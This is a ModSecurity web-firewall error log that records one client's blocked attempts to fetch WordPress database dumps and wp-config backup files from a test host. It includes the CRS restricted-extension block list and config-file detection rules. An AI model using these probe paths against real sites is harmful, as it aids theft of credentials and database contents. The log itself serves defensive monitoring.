[Thu Feb 26 01:03:31.611325 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/wordpress.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizuwAAAAA&quot;]
[Thu Feb 26 01:03:31.611473 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/wordpress.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizuwAAAAA&quot;]
[Thu Feb 26 01:03:31.633706 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/wordpress.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizvAAAAAA&quot;]
[Thu Feb 26 01:03:31.634200 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/wordpress.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizvAAAAAA&quot;]
[Thu Feb 26 01:03:31.634377 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/wordpress.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizvAAAAAA&quot;]
[Thu Feb 26 01:03:31.650588 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/dbdump.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiiwAAAAE&quot;]
[Thu Feb 26 01:03:31.651054 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/dbdump.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiiwAAAAE&quot;]
[Thu Feb 26 01:03:31.651212 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/dbdump.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiiwAAAAE&quot;]
[Thu Feb 26 01:03:31.666029 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dbdump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizvQAAAAA&quot;]
[Thu Feb 26 01:03:31.666501 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dbdump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizvQAAAAA&quot;]
[Thu Feb 26 01:03:31.666661 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dbdump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizvQAAAAA&quot;]
[Thu Feb 26 01:03:31.693567 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijAAAAAE&quot;]
[Thu Feb 26 01:03:31.693868 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.bak&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.bak found within REQUEST_FILENAME: /wp-config.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijAAAAAE&quot;]
[Thu Feb 26 01:03:31.694101 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijAAAAAE&quot;]
[Thu Feb 26 01:03:31.694256 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijAAAAAE&quot;]
[Thu Feb 26 01:03:31.713454 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/dbdump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizvgAAAAA&quot;]
[Thu Feb 26 01:03:31.713915 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/dbdump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizvgAAAAA&quot;]
[Thu Feb 26 01:03:31.714092 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/dbdump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizvgAAAAA&quot;]
[Thu Feb 26 01:03:31.718604 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config-sample.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijQAAAAE&quot;]
[Thu Feb 26 01:03:31.719098 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config-sample.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijQAAAAE&quot;]
[Thu Feb 26 01:03:31.719257 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config-sample.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijQAAAAE&quot;]
[Thu Feb 26 01:03:31.770462 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak1&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijgAAAAE&quot;]
[Thu Feb 26 01:03:31.770706 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak1&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijgAAAAE&quot;]
[Thu Feb 26 01:03:31.770872 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak1&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijgAAAAE&quot;]
[Thu Feb 26 01:03:31.775261 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/dbdump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizvwAAAAA&quot;]
[Thu Feb 26 01:03:31.775772 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/dbdump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizvwAAAAA&quot;]
[Thu Feb 26 01:03:31.775944 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/dbdump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizvwAAAAA&quot;]
[Thu Feb 26 01:03:31.800742 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.bak&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.bak found within REQUEST_FILENAME: /wp-config.bak1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak1&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijwAAAAE&quot;]
[Thu Feb 26 01:03:31.800957 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak1&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijwAAAAE&quot;]
